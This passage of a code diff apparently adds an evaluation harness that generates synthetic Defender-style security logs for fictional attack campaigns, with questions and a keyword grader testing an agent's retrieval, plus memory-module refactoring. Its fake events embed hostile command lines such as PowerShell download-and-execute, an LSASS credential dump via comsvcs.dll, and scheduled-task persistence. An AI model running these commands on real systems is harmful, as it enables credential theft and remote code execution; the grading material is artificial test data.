Office\\outlook.exe\" /eml invoice_{campaign.campaign_id}.msg", + "T1566.001" + ), + "phase": "initial_access", + "campaign_id": campaign.campaign_id, + "technique": "T1566.001", + "facts": [f"{campaign.campaign_id} initial access via phishing on {primary_device} by {primary_user}"], + }) + + # Malicious attachment execution + ts = _ts(day, rng.randint(10, 11), rng.randint(0, 30)) + macro_file = rng.choice(["invoice.xlsm", "report.docm", "contract.xlsm"]) + events.append({ + "content": _mde_process_event( + rng, ts, primary_device, primary_user, + "excel.exe" if "xls" in macro_file else "winword.exe", + "outlook.exe", + f"\"C:\\Users\\{primary_user}\\Downloads\\{macro_file}\"", + ), + "phase": "initial_access", + "campaign_id": campaign.campaign_id, + "technique": "T1566.001", + "facts": [f"{campaign.campaign_id} malicious macro executed from {macro_file}"], + }) + + # Phase 2: Execution (PowerShell/cmd) + ts = _ts(day, rng.randint(11, 12), rng.randint(0, 59)) + if "T1059.001" in campaign.techniques: + ps_cmd = rng.choice([ + "powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcA", + "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString", + f"powershell.exe -c Invoke-WebRequest -Uri https://{campaign.c2_domains[0]}/update.ps1", + ]) + events.append({ + "content": _mde_process_event( + rng, ts, primary_device, primary_user, + "powershell.exe", "excel.exe", ps_cmd, "T1059.001" + ), + "phase": "execution", + "campaign_id": campaign.campaign_id, + "technique": "T1059.001", + "facts": [f"{campaign.campaign_id} PowerShell execution on {primary_device}"], + }) + + # C2 connection + ts = _ts(day, rng.randint(12, 13), rng.randint(0, 59)) + c2_ip = campaign.iocs["ip"][0] + events.append({ + "content": _mde_network_event( + rng, ts, primary_device, c2_ip, 443 + ), + "phase": "c2", + "campaign_id": campaign.campaign_id, + "technique": "T1071.001", + "facts": [f"{campaign.campaign_id} C2 connection from {primary_device} to {c2_ip}:443"], + }) + + # File drop + ts = _ts(day, rng.randint(13, 14), rng.randint(0, 59)) + malware_name = rng.choice(["svchost_update.exe", "wuauserv.dll", "taskhost_x64.exe", "dllhost_srv.exe"]) + events.append({ + "content": _mde_file_event( + rng, ts, primary_device, primary_user, + f"C:\\ProgramData\\{malware_name}", + sha256=campaign.malware_hashes[0] + ), + "phase": "execution", + "campaign_id": campaign.campaign_id, + "technique": "T1105", + "facts": [ + f"{campaign.campaign_id} dropped malware {malware_name} hash {campaign.malware_hashes[0][:16]} on {primary_device}", + ], + }) + + # Alert for initial compromise + if campaign.detected: + alert_ts = _ts(day, rng.randint(14, 18), rng.randint(0, 59)) + events.append({ + "content": _mde_alert( + alert_ts, primary_device, + f"Suspicious PowerShell execution detected", + "High", "Execution", "T1059.001", + alert_id=f"ALT-{campaign.campaign_id}-001" + ), + "phase": "detection", + "campaign_id": campaign.campaign_id, + "technique": "T1059.001", + "facts": [f"{campaign.campaign_id} alert ALT-{campaign.campaign_id}-001 on {primary_device}"], + }) + + # Phase 3: Persistence + day += 1 + ts = _ts(day, rng.randint(2, 5), rng.randint(0, 59)) + if "T1547.001" in campaign.techniques: + events.append({ + "content": _mde_registry_event( + ts, primary_device, + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", + malware_name + ), + "phase": "persistence", + "campaign_id": campaign.campaign_id, + "technique": "T1547.001", + "facts": [f"{campaign.campaign_id} persistence via Run key for {malware_name} on {primary_device}"], + }) + elif "T1053.005" in campaign.techniques: + events.append({ + "content": _mde_process_event( + rng, ts, primary_device, "SYSTEM", + "schtasks.exe", malware_name, + f'schtasks /create /tn "WindowsUpdate" /tr "C:\\ProgramData\\{malware_name}" /sc hourly', + "T1053.005" + ), + "phase": "persistence", + "campaign_id": campaign.campaign_id, + "technique": "T1053.005", + "facts": [f"{campaign.campaign_id} scheduled task persistence on {primary_device}"], + }) + + # Phase 4: Credential Access + if "T1003.001" in campaign.techniques: + day += rng.randint(0, 1) + ts = _ts(day, rng.randint(1, 4), rng.randint(0, 59)) + events.append({ + "content": _mde_process_event( + rng, ts, primary_device, "SYSTEM", + "rundll32.exe", malware_name, + "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 672 C:\\ProgramData\\lsass.dmp full", + "T1003.001" + ), + "phase": "credential_access", + "campaign_id": campaign.campaign_id, + "technique": "T1003.001", + "facts": [f"{campaign.campaign_id} LSASS credential dump on {primary_device}"], + }) + if campaign.detected: + events.append({ + "content": _mde_alert( + ts, primary_device, + "Suspicious LSASS access detected", + "Critical", "CredentialAccess", "T1003.001", + alert_id=f"ALT-{campaign.campaign_id}-002" + ), + "phase": "detection", + "campaign_id": campaign.campaign_id, + "technique": "T1003.001", + "facts": [f"{campaign.campaign_id} credential dump alert on {primary_device}"], + }) + + # Phase 5: Lateral Movement + for hop_idx, hop_device in enumerate(campaign.lateral_movement_path[1:], 1): + day += rng.randint(0, 2) + ts = _ts(day, rng.randint(0, 6), rng.randint(0, 59)) + + if "T1021.002" in campaign.techniques: + technique = "T1021.002" + events.append({ + "content": _mde_logon_event( + ts, hop_device, primary_user, "RemoteInteractive" + ), + "phase": "lateral_movement", + "campaign_id": campaign.campaign_id, + "technique": technique, + "facts": [f"{campaign.campaign_id} lateral movement to {hop_device} via SMB (hop {hop_idx})"], + }) + elif "T1021.001" in campaign.techniques: + technique = "T1021.001" + events.append({ + "content": _mde_logon_event( + ts, hop_device, primary_user, "RemoteInteractive" + ), + "phase": "lateral_movement", + "campaign_id": campaign.campaign_id, + "technique": technique, + "facts": [f"{campaign.campaign_id} lateral movement to {hop_device} via RDP (hop {hop_idx})"], + }) + + # Drop tools on lateral hop + events.append({ + "content": _mde_file_event( + rng, ts, hop_device, primary_user, + f"C:\\Windows\\Temp\\{malware_name}", + sha256=campaign.malware_hashes[0] + ), + "phase": "lateral_movement", + "campaign_id": campaign.campaign_id, + "technique": "T1105", + "facts": [f"{campaign.campaign_id} malware deployed on {hop_device}"], + }) + + # Phase 6: Objective + day += rng.randint(1, 3) + if campaign.objective == "ransomware": + ts = _ts(day, rng.randint(0, 3), rng.randint(0, 59)) + for dev in devices[:rng.randint(2, min(5, len(devices)))]: + events.append({ + "content": _mde_alert( + ts, dev, + f"Ransomware behavior detected: mass file encryption", + "Critical", "Impact", "T1486", + alert_id=f"ALT-{campaign.campaign_id}-R{devices.index(dev)}" + ), + "phase": "impact", + "campaign_id": campaign.campaign_id, + "technique": "T1486", + "facts": [f"{campaign.campaign_id} ransomware encryption on {dev}"], + }) + elif campaign.objective == "data_exfiltration": + ts = _ts(day, rng.randint(1, 4), rng.randint(0, 59)) + events.append({ + "content": _mde_network_event( + rng, ts, devices[-1], + campaign.iocs["ip"][-1], 443 + ) + f" | BytesSent: {int(campaign.data_exfil_gb * 1073741824)}", + "phase": "exfiltration", + "campaign_id": campaign.campaign_id, + "technique": "T1048.003", + "facts": [f"{campaign.campaign_id} exfiltrated {campaign.data_exfil_gb}GB from {devices[-1]}"], + }) + elif campaign.objective == "espionage": + ts = _ts(day, rng.randint(1, 4), rng.randint(0, 59)) + events.append({ + "content": _mde_process_event( + rng, ts, primary_device, primary_user, + "7z.exe", malware_name, + f"7z.exe a -p C:\\ProgramData\\data.7z C:\\Users\\{primary_user}\\Documents\\*", + "T1560.001" + ), + "phase": "collection", + "campaign_id": campaign.campaign_id, + "technique": "T1560.001", + "facts": [f"{campaign.campaign_id} data collection/archival on {primary_device}"], + }) + + # Add noise events (benign activity on same devices) + for _ in range(rng.randint(5, 15)): + noise_day = campaign.start_day + rng.randint(0, campaign.duration_days) + noise_ts = _ts(noise_day, rng.randint(8, 17), rng.randint(0, 59)) + noise_device = rng.choice(devices) + noise_user = rng.choice(USERS)[0] + benign_processes = [ + ("chrome.exe", "explorer.exe", "chrome.exe --type=renderer"), + ("teams.exe", "explorer.exe", "teams.exe --type=utility"), + ("code.exe", "explorer.exe", "code.exe ."), + ("svchost.exe", "services.exe", "svchost.exe -k netsvcs -p"), + ("notepad.exe", "explorer.exe", f"notepad.exe C:\\Users\\{noise_user}\\notes.txt"), + ] + proc, parent, cmd = rng.choice(benign_processes) + events.append({ + "content": _mde_process_event(rng, noise_ts, noise_device, noise_user, proc, parent, cmd), + "phase": "noise", + "campaign_id": campaign.campaign_id, + "technique": "", + "facts": [], + }) + + return events + + +# ============================================================ +# Background Noise Generator +# ============================================================ + +def _generate_noise_events(rng: random.Random, num_events: int, num_days: int) -> list[dict]: + """Generate benign MDE telemetry (normal enterprise activity).""" + all_devices = DEVICE_POOLS["workstations"] + DEVICE_POOLS["servers"] + events = [] + + benign_templates = [ + ("chrome.exe", "explorer.exe", "chrome.exe --type=renderer --field-trial-handle=12345"), + ("msedge.exe", "explorer.exe", "msedge.exe --single-argument https://sharepoint.contoso.com"), + ("teams.exe", "explorer.exe", "teams.exe --type=gpu-process"), + ("outlook.exe", "explorer.exe", "outlook.exe /recycle"), + ("code.exe", "explorer.exe", "code.exe --unity-launch"), + ("python.exe", "cmd.exe", "python.exe manage.py runserver"), + ("node.exe", "cmd.exe", "node.exe server.js"), + ("svchost.exe", "services.exe", "svchost.exe -k netsvcs -p -s Themes"), + ("WindowsUpdate.exe", "svchost.exe", "WindowsUpdate.exe /detectnow"), + ("MsMpEng.exe", "services.exe", "MsMpEng.exe"), # Defender + ] + + for _ in range(num_events): + day = rng.randint(0, num_days) + hour = rng.randint(6, 22) + minute = rng.randint(0, 59) + ts = _ts(day, hour, minute, rng.randint(0, 59)) + device = rng.choice(all_devices) + user = rng.choice(USERS)[0] + proc, parent, cmd = rng.choice(benign_templates) + + events.append({ + "content": _mde_process_event(rng, ts, device, user, proc, parent, cmd), + "phase": "noise", + "campaign_id": "BENIGN", + "technique": "", + "facts": [], + }) + + return events + + +# ============================================================ +# Question Generation +# ============================================================ + +@dataclass +class SecurityQuestion: + """A question with ground truth for grading.""" + question_id: str + question: str + category: str # alert_retrieval, attack_chain, ioc_correlation, temporal, cross_campaign + ground_truth_facts: list[str] + required_keywords: list[str] + campaign_ids: list[str] + difficulty: str # easy, medium, hard + + +def _generate_questions(campaigns: list[AttackCampaign], rng: random.Random, + num_questions: int = 100) -> list[SecurityQuestion]: + """Generate questions testing distributed retrieval capabilities.""" + questions: list[SecurityQuestion] = [] + qid = 0 + + for camp in campaigns: + # Alert retrieval (easy — single fact lookup) + qid += 1 + questions.append(SecurityQuestion( + question_id=f"SEC-{qid:04d}", + question=f"What devices were targeted in campaign {camp.campaign_id}?", + category="alert_retrieval", + ground_truth_facts=[f"{camp.campaign_id} " + d for d in camp.target_devices], + required_keywords=camp.target_devices[:3], + campaign_ids=[camp.campaign_id], + difficulty="easy", + )) + + # Attack chain reconstruction (medium — multi-hop) + qid += 1 + questions.append(SecurityQuestion( + question_id=f"SEC-{qid:04d}", + question=f"Describe the lateral movement path in campaign {camp.campaign_id}. " + f"Which devices were compromised in order?", + category="attack_chain", + ground_truth_facts=[f"{camp.campaign_id} lateral movement to {d}" for d in camp.lateral_movement_path[1:]], + required_keywords=camp.lateral_movement_path[:3], + campaign_ids=[camp.campaign_id], + difficulty="medium", + )) + + # IOC correlation (medium — connect indicators) + qid += 1 + questions.append(SecurityQuestion( + question_id=f"SEC-{qid:04d}", + question=f"What are the IOCs (IP addresses and file hashes) associated with campaign {camp.campaign_id}?", + category="ioc_correlation", + ground_truth_facts=[f"{camp.campaign_id} C2 connection to {ip}" for ip in camp.iocs["ip"][:2]], + required_keywords=camp.iocs["ip"][:2] + [camp.malware_hashes[0][:16]], + campaign_ids=[camp.campaign_id], + difficulty="medium", + )) + + # Temporal reasoning (hard — timeline) + qid += 1 + questions.append(SecurityQuestion( + question_id=f"SEC-{qid:04d}", + question=f"What was the sequence of MITRE ATT&CK techniques used in campaign {camp.campaign_id}? " + f"List them in chronological order.", + category="temporal", + ground_truth_facts=[f"{camp.campaign_id} technique {t}" for t in camp.techniques[:4]], + required_keywords=[MITRE_TECHNIQUES.get(t, t).split(":")[0].strip() for t in camp.techniques[:3]], + campaign_ids=[camp.campaign_id], + difficulty="hard", + )) + + # Objective identification + qid += 1 + questions.append(SecurityQuestion( + question_id=f"SEC-{qid:04d}", + question=f"What was the objective of campaign {camp.campaign_id}? " + f"Was it ransomware, data exfiltration, espionage, or something else?", + category="alert_retrieval", + ground_truth_facts=[f"{camp.campaign_id} objective: {camp.objective}"], + required_keywords=[camp.objective.replace("_", " ")], + campaign_ids=[camp.campaign_id], + difficulty="easy", + )) + + # Cross-campaign questions (hard — connect multiple campaigns) + actors_used = {} + for camp in campaigns: + actor_key = camp.threat_actor.split("(")[0].strip() + actors_used.setdefault(actor_key, []).append(camp) + + for actor, actor_campaigns in actors_used.items(): + if len(actor_campaigns) >= 2: + qid += 1 + camp_ids = [c.campaign_id for c in actor_campaigns[:3]] + questions.append(SecurityQuestion( + question_id=f"SEC-{qid:04d}", + question=f"Which campaigns are attributed to {actor}? " + f"What common techniques did they use across campaigns?", + category="cross_campaign", + ground_truth_facts=[f"{cid} threat actor {actor}" for cid in camp_ids], + required_keywords=camp_ids[:2], + campaign_ids=camp_ids, + difficulty="hard", + )) + + # Device-centric questions + device_campaigns: dict[str, list[str]] = {} + for camp in campaigns: + for dev in camp.target_devices: + device_campaigns.setdefault(dev, []).append(camp.campaign_id) + for dev, cids in device_campaigns.items(): + if len(cids) >= 2: + qid += 1 + questions.append(SecurityQuestion( + question_id=f"SEC-{qid:04d}", + question=f"Device {dev} was compromised in multiple campaigns. " + f"Which campaigns affected this device and what happened?", + category="cross_campaign", + ground_truth_facts=[f"campaign on {dev}" for _ in cids], + required_keywords=cids[:2], + campaign_ids=cids, + difficulty="hard", + )) + if len(questions) >= num_questions: + break + + rng.shuffle(questions) + return questions[:num_questions] + + +# ============================================================ +# Grading +# ============================================================ + +@dataclass +class SecurityGradeResult: + """Grading result for a single question.""" + question_id: str + category: str + score: float # 0.0 - 1.0 + precision: float + recall: float + f1: float + matched_keywords: list[str] + missing_keywords: list[str] + answer_excerpt: str + + +def _grade_answer(question: SecurityQuestion, answer: str) -> SecurityGradeResult: + """Grade an answer using keyword matching + partial credit.""" + answer_lower = answer.lower() + matched = [] + missing = [] + + for kw in question.required_keywords: + if kw.lower() in answer_lower: + matched.append(kw) + else: + missing.append(kw) + + total_required = len(question.required_keywords) + if total_required == 0: + recall = 1.0 + else: + recall = len(matched) / total_required + + # Precision: penalize hallucinated campaign IDs + mentioned_camps = [] + for camp_prefix in ["CAMP-"]: + idx = 0 + while True: + pos = answer.find(camp_prefix, idx) + if pos < 0: + break + end = pos + 16 # CAMP-YYYY-NNN + mentioned_camps.append(answer[pos:end]) + idx = pos + 1 + + if mentioned_camps: + correct_mentions = sum(1 for m in mentioned_camps if any(m.startswith(c) for c in question.campaign_ids)) + precision = correct_mentions / len(mentioned_camps) if mentioned_camps else 1.0 + else: + precision = 1.0 if recall > 0 else 0.0 + + if precision + recall > 0: + f1 = 2 * precision * recall / (precision + recall) + else: + f1 = 0.0 + + # Score is weighted: 60% recall + 20% precision + 20% F1 + score = 0.6 * recall + 0.2 * precision + 0.2 * f1 + + return SecurityGradeResult( + question_id=question.question_id, + category=question.category, + score=score, + precision=precision, + recall=recall, + f1=f1, + matched_keywords=matched, + missing_keywords=missing, + answer_excerpt=answer[:200], + ) + + +# ============================================================ +# Main Eval Class +# ============================================================ + +@dataclass +class SecurityEvalReport: + """Complete evaluation report.""" + overall_score: float = 0.0 + overall_precision: float = 0.0 + overall_recall: float = 0.0 + overall_f1: float = 0.0 + category_scores: dict[str, dict[str, float]] = field(default_factory=dict) + difficulty_scores: dict[str, float] = field(default_factory=dict) + num_questions: int = 0 + num_turns: int = 0 + num_campaigns: int = 0 + learning_time_s: float = 0.0 + grading_time_s: float = 0.0 + results: list[dict] = field(default_factory=list) + + def to_dict(self) -> dict: + return { + "eval_type": "security_log_mde", + "overall_score": self.overall_score, + "overall_precision": self.overall_precision, + "overall_recall": self.overall_recall, + "overall_f1": self.overall_f1, + "category_scores": self.category_scores, + "difficulty_scores": self.difficulty_scores, + "num_questions": self.num_questions, + "num_turns": self.num_turns, + "num_campaigns": self.num_campaigns, + "learning_time_s": self.learning_time_s, + "grading_time_s": self.grading_time_s, + "results": self.results, + } + + +class SecurityLogEval: + """MDE-style security log evaluation for distributed hive mind. + + Generates realistic MDE telemetry across multiple attack campaigns, + feeds it to agents via learn_from_content(), then tests retrieval + with precision/recall grading. + + The data volume is configurable — at 50K+ turns, it exceeds single-agent + memory capacity, requiring the distributed hive for full coverage. + """ + + def __init__( + self, + num_turns: int = 10000, + num_questions: int = 100, + num_campaigns: int = 12, + noise_ratio: float = 0.6, + seed: int = 42, + ): + self.num_turns = num_turns + self.num_questions = num_questions + self.num_campaigns = num_campaigns + self.noise_ratio = noise_ratio # fraction of events that are benign noise + self.seed = seed + + self.campaigns: list[AttackCampaign] = [] + self.events: list[dict] = [] + self.questions: list[SecurityQuestion] = [] + + def generate(self) -> None: + """Generate campaigns, events, and questions deterministically.""" + rng = random.Random(self.seed) + + # Generate attack campaigns + self.campaigns = _generate_campaigns(rng, self.num_campaigns) + logger.info("Generated %d attack campaigns", len(self.campaigns)) + + # Generate campaign events + campaign_events = [] + for camp in self.campaigns: + campaign_events.extend(_generate_campaign_events(rng, camp)) + + # Calculate noise events to reach target turn count + num_noise = max(0, self.num_turns - len(campaign_events)) + noise_events = _generate_noise_events( + rng, num_noise, + max(c.start_day + c.duration_days for c in self.campaigns), + ) + + # Interleave campaign and noise events + self.events = campaign_events + noise_events + rng.shuffle(self.events) + + # Truncate to target + self.events = self.events[:self.num_turns] + + # Generate questions + self.questions = _generate_questions(self.campaigns, rng, self.num_questions) + + logger.info( + "Generated %d events (%d campaign, %d noise), %d questions", + len(self.events), + len(campaign_events), + len(noise_events), + len(self.questions), + ) + + def run(self, agent: Any, grader_model: str = "") -> SecurityEvalReport: + """Run the complete evaluation. + + Args: + agent: Object with learn_from_content(str) and answer_question(str) methods. + Works with both local LearningAgent and RemoteAgentAdapter. + grader_model: Unused (grading is deterministic keyword-based). + + Returns: + SecurityEvalReport with precision, recall, F1 per category. + """ + logger.info( + "Starting security log eval: %d turns, %d questions, %d campaigns", + self.num_turns, self.num_questions, self.num_campaigns, + ) + + # Step 1: Generate data + self.generate() + + # Step 2: Feed events to agent + t0 = time.time() + for i, event in enumerate(self.events): + agent.learn_from_content(event["content"]) + if (i + 1) % 500 == 0: + logger.info( + "Fed %d/%d events (%.1f turns/s)", + i + 1, len(self.events), + (i + 1) / (time.time() - t0), + ) + learning_time = time.time() - t0 + logger.info("Learning phase complete: %.1fs", learning_time) + + # Step 3: Quiz and grade + t1 = time.time() + results = [] + for i, q in enumerate(self.questions): + answer = agent.answer_question(q.question) + grade = _grade_answer(q, answer) + results.append(grade) + if (i + 1) % 20 == 0: + logger.info( + "Graded %d/%d questions (avg score: %.2f%%)", + i + 1, len(self.questions), + sum(r.score for r in results) / len(results) * 100, + ) + grading_time = time.time() - t1 + + # Step 4: Aggregate scores + report = self._aggregate(results, learning_time, grading_time) + self._print_report(report) + return report + + def _aggregate(self, results: list[SecurityGradeResult], + learning_time: float, grading_time: float) -> SecurityEvalReport: + """Aggregate individual grades into a report.""" + report = SecurityEvalReport( + num_questions=len(results), + num_turns=len(self.events), + num_campaigns=len(self.campaigns), + learning_time_s=learning_time, + grading_time_s=grading_time, + ) + + if not results: + return report + + # Overall + report.overall_score = sum(r.score for r in results) / len(results) + report.overall_precision = sum(r.precision for r in results) / len(results) + report.overall_recall = sum(r.recall for r in results) / len(results) + report.overall_f1 = sum(r.f1 for r in results) / len(results) + + # By category + categories: dict[str, list[SecurityGradeResult]] = {} + for r in results: + categories.setdefault(r.category, []).append(r) + for cat, cat_results in categories.items(): + n = len(cat_results) + report.category_scores[cat] = { + "score": sum(r.score for r in cat_results) / n, + "precision": sum(r.precision for r in cat_results) / n, + "recall": sum(r.recall for r in cat_results) / n, + "f1": sum(r.f1 for r in cat_results) / n, + "count": n, + } + + # By difficulty + difficulties: dict[str, list[SecurityGradeResult]] = {} + for q, r in zip(self.questions, results): + difficulties.setdefault(q.difficulty, []).append(r) + for diff, diff_results in difficulties.items(): + report.difficulty_scores[diff] = sum(r.score for r in diff_results) / len(diff_results) + + # Individual results + report.results = [ + { + "question_id": r.question_id, + "category": r.category, + "score": r.score, + "precision": r.precision, + "recall": r.recall, + "f1": r.f1, + "matched": r.matched_keywords, + "missing": r.missing_keywords, + "answer": r.answer_excerpt, + } + for r in results + ] + + return report + + @staticmethod + def _print_report(report: SecurityEvalReport) -> None: + """Print a formatted report to the logger.""" + logger.info("=" * 70) + logger.info("SECURITY LOG EVAL RESULTS") + logger.info("=" * 70) + logger.info( + "Overall: Score=%.2f%% Precision=%.2f%% Recall=%.2f%% F1=%.2f%%", + report.overall_score * 100, + report.overall_precision * 100, + report.overall_recall * 100, + report.overall_f1 * 100, + ) + logger.info("-" * 70) + logger.info("%-20s %8s %8s %8s %8s %5s", "Category", "Score", "Prec", "Recall", "F1", "N") + for cat, scores in sorted(report.category_scores.items()): + logger.info( + "%-20s %7.2f%% %7.2f%% %7.2f%% %7.2f%% %5d", + cat, + scores["score"] * 100, + scores["precision"] * 100, + scores["recall"] * 100, + scores["f1"] * 100, + int(scores["count"]), + ) + logger.info("-" * 70) + logger.info("%-20s %8s", "Difficulty", "Score") + for diff, score in sorted(report.difficulty_scores.items()): + logger.info("%-20s %7.2f%%", diff, score * 100) + logger.info( + "Turns: %d | Questions: %d | Campaigns: %d | " + "Learning: %.1fs | Grading: %.1fs", + report.num_turns, report.num_questions, report.num_campaigns, + report.learning_time_s, report.grading_time_s, + ) + logger.info("=" * 70) + + +# ============================================================ +# CLI entry point +# ============================================================ + +def main(): + import argparse + import sys + + logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", + ) + + p = argparse.ArgumentParser(description="MDE Security Log Eval") + p.add_argument("--turns", type=int, default=10000) + p.add_argument("--questions", type=int, default=100) + p.add_argument("--campaigns", type=int, default=12) + p.add_argument("--seed", type=int, default=42) + p.add_argument("--output", default="") + p.add_argument("--grader-model", default="") + args = p.parse_args() + + # Import agent + sys.path.insert(0, "src") + from amplihack.agents.goal_seeking.learning_agent import LearningAgent + + agent = LearningAgent() + eval_harness = SecurityLogEval( + num_turns=args.turns, + num_questions=args.questions, + num_campaigns=args.campaigns, + seed=args.seed, + ) + + try: + report = eval_harness.run(agent, grader_model=args.grader_model) + finally: + if hasattr(agent, "close"): + agent.close() + + output_path = args.output or f"/tmp/security_eval_{args.seed}.json" + with open(output_path, "w") as f: + json.dump(report.to_dict(), f, indent=2) + logger.info("Report written to %s", output_path) + + +if __name__ == "__main__": + main() diff --git a/src/amplihack/memory/__init__.py b/src/amplihack/memory/__init__.py index d6d4bd9a0..ce7d9dd87 100644 --- a/src/amplihack/memory/__init__.py +++ b/src/amplihack/memory/__init__.py @@ -13,11 +13,27 @@ results = conn.execute_query("MATCH (n) RETURN count(n)") """ +from .config import MemoryConfig from .database import MemoryDatabase +from .distributed_store import DistributedGraphStore +from .facade import Memory +from .graph_store import GraphStore from .manager import MemoryManager +from .memory_store import InMemoryGraphStore from .models import MemoryEntry, MemoryType, SessionInfo +try: + from .kuzu_store import KuzuGraphStore +except ImportError: + KuzuGraphStore = None # type: ignore[assignment,misc] + __all__ = [ + "DistributedGraphStore", + "GraphStore", + "InMemoryGraphStore", + "KuzuGraphStore", + "Memory", + "MemoryConfig", "MemoryDatabase", "MemoryEntry", "MemoryManager", diff --git a/src/amplihack/memory/backends/__init__.py b/src/amplihack/memory/backends/__init__.py deleted file mode 100644 index 7f3ea44e1..000000000 --- a/src/amplihack/memory/backends/__init__.py +++ /dev/null @@ -1,142 +0,0 @@ -"""Backend selector and factory fer memory storage. - -Philosophy: -- Default to Kùzu: Graph backend is default (performance + rich queries) -- Graceful fallback: SQLite if Kùzu unavailable -- User control: Environment variables or explicit config -- Simple API: create_backend() handles all selection logic - -Public API: - create_backend: Factory function to create appropriate backend - BackendType: Enum of available backend types - MemoryBackend: Protocol interface (re-exported) - BackendCapabilities: Capability flags (re-exported) -""" - -import logging -import os -from enum import Enum -from typing import Any - -from .base import BackendCapabilities, MemoryBackend -from .sqlite_backend import SQLiteBackend - -logger = logging.getLogger(__name__) - - -class BackendType(Enum): - """Available backend types.""" - - SQLITE = "sqlite" - KUZU = "kuzu" - - -def create_backend(backend_type: str | BackendType | None = None, **config: Any) -> MemoryBackend: - """Create appropriate memory backend. - - Selection priority: - 1. Explicit backend_type parameter - 2. AMPLIHACK_MEMORY_BACKEND environment variable - 3. Default: Kùzu (if available), fallback to SQLite - - Args: - backend_type: Specific backend to use (sqlite, kuzu) - **config: Backend-specific configuration - - db_path: Path to database file/directory - - Returns: - Initialized backend instance - - Raises: - ValueError: If requested backend is not available - ImportError: If backend dependencies not installed - - Examples: - >>> # Use default backend (Kùzu or SQLite) - >>> backend = create_backend() - - >>> # Use specific backend - >>> backend = create_backend("sqlite", db_path="/tmp/memory.db") - - >>> # Use environment variable - >>> os.environ["AMPLIHACK_MEMORY_BACKEND"] = "kuzu" - >>> backend = create_backend() - """ - # Determine backend type - if backend_type is None: - # Check environment variable - env_backend = os.environ.get("AMPLIHACK_MEMORY_BACKEND", "").lower() - if env_backend: - try: - backend_type = BackendType(env_backend) - except ValueError: - logger.warning(f"Invalid AMPLIHACK_MEMORY_BACKEND='{env_backend}', using default") - backend_type = None - - # Convert string to enum - if isinstance(backend_type, str): - try: - backend_type = BackendType(backend_type.lower()) - except ValueError: - raise ValueError( - f"Invalid backend type: {backend_type}. " - f"Must be one of: {[t.value for t in BackendType]}" - ) - - # Default selection: Kùzu if available, else SQLite - if backend_type is None: - try: - import kuzu - - # Verify kuzu has proper API - if hasattr(kuzu, "Database") and hasattr(kuzu, "Connection"): - backend_type = BackendType.KUZU - logger.info("Using Kùzu backend (default)") - else: - raise ImportError("Kùzu module doesn't have expected API") - except (ImportError, AttributeError) as e: - backend_type = BackendType.SQLITE - logger.info(f"Kùzu not available ({e}), using SQLite backend") - - # Create backend instance - # Note: Caller must call await backend.initialize() after creation - if backend_type == BackendType.SQLITE: - db_path = config.get("db_path") - backend = SQLiteBackend(db_path=db_path) - return backend - - if backend_type == BackendType.KUZU: - try: - from .kuzu_backend import KuzuBackend - except ImportError as e: - raise ImportError( - f"Kùzu backend not available. Install with: pip install kuzu\nError: {e}" - ) from e - - db_path = config.get("db_path") - backend = KuzuBackend(db_path=db_path) - return backend - - raise ValueError(f"Unknown backend type: {backend_type}") - - -def get_default_backend() -> MemoryBackend: - """Get default backend instance. - - Convenience function that creates backend with default settings. - - Returns: - Initialized backend instance - """ - return create_backend() - - -# Re-export fer convenience -__all__ = [ - "create_backend", - "get_default_backend", - "BackendType", - "MemoryBackend", - "BackendCapabilities", - "SQLiteBackend", -] diff --git a/src/amplihack/memory/backends/base.py b/src/amplihack/memory/backends/base.py deleted file mode 100644 index 06f2e2090..000000000 --- a/src/amplihack/memory/backends/base.py +++ /dev/null @@ -1,171 +0,0 @@ -"""Backend abstraction protocol fer memory storage. - -Defines the interface that all backend implementations must implement. - -Philosophy: -- Protocol-based: Uses typing.Protocol fer duck typing -- Performance contracts: <50ms retrieval, <500ms storage -- Capability flags: Each backend advertises what it supports -- Zero-BS: No abstract base classes, just clear protocol - -Public API: - MemoryBackend: Protocol interface all backends implement - BackendCapabilities: Feature flags fer each backend -""" - -from dataclasses import dataclass -from typing import Any, Protocol - -from ..models import MemoryEntry, MemoryQuery, SessionInfo - - -@dataclass -class BackendCapabilities: - """Capabilities that each backend supports. - - Allows backends to advertise what features they provide. - Coordinator can check capabilities before using advanced features. - """ - - supports_graph_queries: bool = False # Graph traversal, relationship queries - supports_vector_search: bool = False # Semantic similarity search - supports_transactions: bool = True # ACID transactions - supports_fulltext_search: bool = False # Full-text indexing - max_concurrent_connections: int = 1 # Connection pool size - backend_name: str = "unknown" - backend_version: str = "0.0.0" - - -class MemoryBackend(Protocol): - """Protocol interface that all memory backends must implement. - - Defines the contract fer store/retrieve/delete operations. - Performance contracts: - - retrieve_memories: <50ms - - store_memory: <500ms - - delete_memory: <100ms - """ - - def get_capabilities(self) -> BackendCapabilities: - """Get backend capabilities. - - Returns: - BackendCapabilities fer this backend - """ - ... - - async def initialize(self) -> None: - """Initialize backend (create schema, indexes, etc). - - MUST be called before first use. - Should be idempotent (safe to call multiple times). - """ - ... - - async def store_memory(self, memory: MemoryEntry) -> bool: - """Store a memory entry. - - Args: - memory: Memory entry to store - - Returns: - True if successful, False otherwise - - Performance: Must complete under 500ms - """ - ... - - async def retrieve_memories(self, query: MemoryQuery) -> list[MemoryEntry]: - """Retrieve memories matching the query. - - Args: - query: Query parameters - - Returns: - List of matching memory entries - - Performance: Must complete under 50ms - """ - ... - - async def get_memory_by_id(self, memory_id: str) -> MemoryEntry | None: - """Get a specific memory by ID. - - Args: - memory_id: Unique memory identifier - - Returns: - Memory entry if found, None otherwise - - Performance: Must complete under 50ms - """ - ... - - async def delete_memory(self, memory_id: str) -> bool: - """Delete a memory entry. - - Args: - memory_id: Unique memory identifier - - Returns: - True if deleted, False otherwise - - Performance: Must complete under 100ms - """ - ... - - async def cleanup_expired(self) -> int: - """Remove expired memory entries. - - Returns: - Number of entries removed - - Performance: No strict limit (periodic maintenance) - """ - ... - - async def get_session_info(self, session_id: str) -> SessionInfo | None: - """Get information about a session. - - Args: - session_id: Session identifier - - Returns: - Session information if found - - Performance: Must complete under 50ms - """ - ... - - async def list_sessions(self, limit: int | None = None) -> list[SessionInfo]: - """List all sessions ordered by last accessed. - - Args: - limit: Maximum number of sessions to return - - Returns: - List of session information - - Performance: Must complete under 100ms - """ - ... - - 